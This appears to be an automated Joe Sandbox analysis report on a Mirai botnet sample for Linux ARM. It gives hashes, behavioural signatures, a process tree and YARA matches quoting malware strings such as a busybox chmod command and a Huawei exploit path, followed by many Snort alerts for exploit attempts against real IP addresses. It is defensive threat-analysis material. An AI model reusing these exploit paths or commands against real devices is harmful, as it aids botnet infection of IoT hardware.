Edit tour

Linux Analysis Report
N1msxMZ5Il.elf

Overview

General Information

Sample name:	N1msxMZ5Il.elf renamed because original name is a hash value
Original sample name:	c03130eb73d39b14670f4d28c68c3532.elf
Analysis ID:	1425651
MD5:	c03130eb73d39b14670f4d28c68c3532
SHA1:	41c1fb9d3f6bf12dda2bb903b322ead187353be7
SHA256:	c7d81335f2aa6d4661e58a0b343acd94b1bf2a234ebcc3a2309a7f6ef010e5ee
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1425651
Start date and time:	2024-04-14 03:59:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	N1msxMZ5Il.elf renamed because original name is a hash value
Original Sample Name:	c03130eb73d39b14670f4d28c68c3532.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/0@6/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/N1msxMZ5Il.elf
PID:	6245
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6225, Parent: 4331)

rm (PID: 6225, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.AsSoFSRfhJ /tmp/tmp.BlybrixpM1 /tmp/tmp.5015WxwIye

dash New Fork (PID: 6226, Parent: 4331)

cat (PID: 6226, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.AsSoFSRfhJ

dash New Fork (PID: 6227, Parent: 4331)

head (PID: 6227, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6228, Parent: 4331)

tr (PID: 6228, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6229, Parent: 4331)

cut (PID: 6229, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6230, Parent: 4331)

cat (PID: 6230, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.AsSoFSRfhJ

dash New Fork (PID: 6231, Parent: 4331)

head (PID: 6231, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6232, Parent: 4331)

tr (PID: 6232, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6233, Parent: 4331)

cut (PID: 6233, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6234, Parent: 4331)

rm (PID: 6234, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.AsSoFSRfhJ /tmp/tmp.BlybrixpM1 /tmp/tmp.5015WxwIye

N1msxMZ5Il.elf (PID: 6245, Parent: 6156, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/N1msxMZ5Il.elf

N1msxMZ5Il.elf New Fork (PID: 6247, Parent: 6245)

N1msxMZ5Il.elf New Fork (PID: 6249, Parent: 6247)

N1msxMZ5Il.elf New Fork (PID: 6250, Parent: 6247)

N1msxMZ5Il.elf New Fork (PID: 6346, Parent: 6250)

N1msxMZ5Il.elf New Fork (PID: 6252, Parent: 6247)

N1msxMZ5Il.elf New Fork (PID: 6254, Parent: 6247)

N1msxMZ5Il.elf New Fork (PID: 6257, Parent: 6247)

N1msxMZ5Il.elf New Fork (PID: 6260, Parent: 6247)

xfce4-panel New Fork (PID: 6265, Parent: 2063)

wrapper-2.0 (PID: 6265, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6266, Parent: 2063)

wrapper-2.0 (PID: 6266, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6267, Parent: 2063)

wrapper-2.0 (PID: 6267, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6270, Parent: 2063)

wrapper-2.0 (PID: 6270, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 6271, Parent: 2063)

wrapper-2.0 (PID: 6271, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6272, Parent: 2063)

wrapper-2.0 (PID: 6272, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 6276, Parent: 6275)

xfconfd (PID: 6276, Parent: 6275, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
N1msxMZ5Il.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
N1msxMZ5Il.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
N1msxMZ5Il.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x15275:$x2: /bin/busybox chmod 777 * /tmp/ 0x14fd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x14e34:$s3: POST /cdn-cgi/
N1msxMZ5Il.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x14e34:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x15275:$x2: /bin/busybox chmod 777 * /tmp/ 0x14fd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x14e34:$s3: POST /cdn-cgi/
6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x14e34:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x15275:$x2: /bin/busybox chmod 777 * /tmp/ 0x14fd8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x14e34:$s3: POST /cdn-cgi/
6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x14e34:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 3 entries

Snort Signatures

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.36.162.97

Timestamp:	04/14/24-04:00:08.079132
SID:	2025883
Source Port:	57136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.171.146.85

Timestamp:	04/14/24-04:00:15.908794
SID:	2030092
Source Port:	56296
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 62.212.95.241

Timestamp:	04/14/24-04:00:06.946995
SID:	2025883
Source Port:	49508
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.182.162.36

Timestamp:	04/14/24-04:00:34.846873
SID:	2030092
Source Port:	47706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.207.75.27

Timestamp:	04/14/24-04:00:29.536616
SID:	2025883
Source Port:	57620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.237.67.251

Timestamp:	04/14/24-04:00:05.906716
SID:	2025883
Source Port:	49502
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 69.163.139.33

Timestamp:	04/14/24-04:00:06.834053
SID:	2030092
Source Port:	35542
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 72.52.64.48

Timestamp:	04/14/24-04:00:27.655686
SID:	2025883
Source Port:	49288
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 160.124.63.244

Timestamp:	04/14/24-04:00:33.907686
SID:	2025883
Source Port:	34578
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 152.67.103.55

Timestamp:	04/14/24-04:00:05.751990
SID:	2030092
Source Port:	59506
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.186.169.35

Timestamp:	04/14/24-04:00:13.583169
SID:	2030092
Source Port:	58264
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 39.105.219.99

Timestamp:	04/14/24-04:00:25.917196
SID:	2025883
Source Port:	33652
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 210.99.38.20

Timestamp:	04/14/24-04:00:33.580843
SID:	2030092
Source Port:	55412
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 179.53.185.182

Timestamp:	04/14/24-04:00:33.547488
SID:	2025883
Source Port:	44568
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 82.48.3.45

Timestamp:	04/14/24-04:00:05.149491
SID:	2025883
Source Port:	35692
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.243.14.101

Timestamp:	04/14/24-04:00:25.795005
SID:	2030092
Source Port:	43836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.180.3.66

Timestamp:	04/14/24-04:00:20.286344
SID:	2025883
Source Port:	32840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.207.75.27

Timestamp:	04/14/24-04:00:24.985363
SID:	2030092
Source Port:	57440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.36.181.1

Timestamp:	04/14/24-04:00:16.705948
SID:	2025883
Source Port:	46316
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 27.72.102.225

Timestamp:	04/14/24-04:00:05.533652
SID:	2025883
Source Port:	51582
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.167.72.190

Timestamp:	04/14/24-04:00:33.109128
SID:	2030092
Source Port:	39136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 106.58.218.164

Timestamp:	04/14/24-04:00:08.121384
SID:	2025883
Source Port:	50814
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 95.209.128.5

Timestamp:	04/14/24-04:00:25.068777
SID:	2025883
Source Port:	50562
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 75.103.70.104

Timestamp:	04/14/24-04:00:25.581404
SID:	2025883
Source Port:	35162
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 138.201.205.149

Timestamp:	04/14/24-04:00:33.615201
SID:	2025883
Source Port:	43618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 221.121.94.9

Timestamp:	04/14/24-04:00:06.969285
SID:	2030092
Source Port:	47382
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:13.522053
SID:	2030092
Source Port:	57380
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.65.79.88

Timestamp:	04/14/24-04:00:06.634158
SID:	2030092
Source Port:	56658
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.160.109.225

Timestamp:	04/14/24-04:00:13.573393
SID:	2030092
Source Port:	58594
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 134.180.249.204

Timestamp:	04/14/24-04:00:34.981889
SID:	2030092
Source Port:	54682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.152.59.1

Timestamp:	04/14/24-04:00:20.812130
SID:	2025883
Source Port:	58764
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.31.182.14

Timestamp:	04/14/24-04:00:29.929324
SID:	2030092
Source Port:	38216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.109.133.217

Timestamp:	04/14/24-03:59:56.488173
SID:	2030092
Source Port:	35310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.11.137.84

Timestamp:	04/14/24-04:00:13.719016
SID:	2030092
Source Port:	41808
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.161.121.135

Timestamp:	04/14/24-04:00:33.877559
SID:	2025883
Source Port:	35790
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.49.43.91

Timestamp:	04/14/24-04:00:24.919717
SID:	2030092
Source Port:	57226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 93.242.171.185

Timestamp:	04/14/24-04:00:27.150830
SID:	2025883
Source Port:	35758
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.65.192.203

Timestamp:	04/14/24-04:00:29.388705
SID:	2025883
Source Port:	56638
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.92.98.240

Timestamp:	04/14/24-04:00:15.916863
SID:	2030092
Source Port:	43176
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.191.192.124

Timestamp:	04/14/24-04:00:08.908495
SID:	2030092
Source Port:	58672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.130.173

Timestamp:	04/14/24-04:00:09.973199
SID:	2835222
Source Port:	52170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.160.106.95

Timestamp:	04/14/24-04:00:19.858817
SID:	2030092
Source Port:	57464
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.199.35.43

Timestamp:	04/14/24-03:59:56.395409
SID:	2030092
Source Port:	39044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.207.75.27

Timestamp:	04/14/24-04:00:24.588473
SID:	2030092
Source Port:	57234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 69.163.139.33

Timestamp:	04/14/24-04:00:06.834053
SID:	2025883
Source Port:	35542
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.189.76.131

Timestamp:	04/14/24-03:59:56.542570
SID:	2030092
Source Port:	40852
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.55.185.178

Timestamp:	04/14/24-04:00:19.096291
SID:	2030092
Source Port:	44026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.36.181.1

Timestamp:	04/14/24-04:00:16.705948
SID:	2030092
Source Port:	46316
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.57.38.177

Timestamp:	04/14/24-04:00:27.848697
SID:	2030092
Source Port:	35284
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 222.107.28.19

Timestamp:	04/14/24-04:00:29.848845
SID:	2030092
Source Port:	51338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.77.130.173

Timestamp:	04/14/24-04:00:09.973199
SID:	2829579
Source Port:	52170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 140.248.164.226

Timestamp:	04/14/24-04:00:30.748808
SID:	2025883
Source Port:	48560
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 82.163.72.143

Timestamp:	04/14/24-04:00:17.008341
SID:	2025883
Source Port:	58686
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.190.17.225

Timestamp:	04/14/24-04:00:19.926450
SID:	2030092
Source Port:	52844
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.180.3.66

Timestamp:	04/14/24-04:00:20.286344
SID:	2030092
Source Port:	32840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.105.219.99

Timestamp:	04/14/24-04:00:25.917196
SID:	2030092
Source Port:	33652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.164.227.51

Timestamp:	04/14/24-04:00:25.918886
SID:	2030092
Source Port:	42886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.81.84.72

Timestamp:	04/14/24-04:00:25.581547
SID:	2025883
Source Port:	40942
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.212.95.241

Timestamp:	04/14/24-04:00:06.946995
SID:	2030092
Source Port:	49508
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.79.180.67

Timestamp:	04/14/24-04:00:33.466556
SID:	2030092
Source Port:	45076
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 190.253.246.27

Timestamp:	04/14/24-04:00:33.224100
SID:	2025883
Source Port:	58490
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.117.155

Timestamp:	04/14/24-04:00:27.738390
SID:	2835222
Source Port:	45180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.161.121.135

Timestamp:	04/14/24-04:00:33.877559
SID:	2030092
Source Port:	35790
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 24.32.193.60

Timestamp:	04/14/24-04:00:08.569817
SID:	2025883
Source Port:	38560
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.182.162.36

Timestamp:	04/14/24-04:00:34.846873
SID:	2025883
Source Port:	47706
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 152.67.103.55

Timestamp:	04/14/24-04:00:05.751990
SID:	2025883
Source Port:	59506
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.216.59.66

Timestamp:	04/14/24-04:00:19.922646
SID:	2025883
Source Port:	60592
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.234.134.79

Timestamp:	04/14/24-04:00:05.108715
SID:	2030092
Source Port:	46878
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.81.84.72

Timestamp:	04/14/24-04:00:25.581547
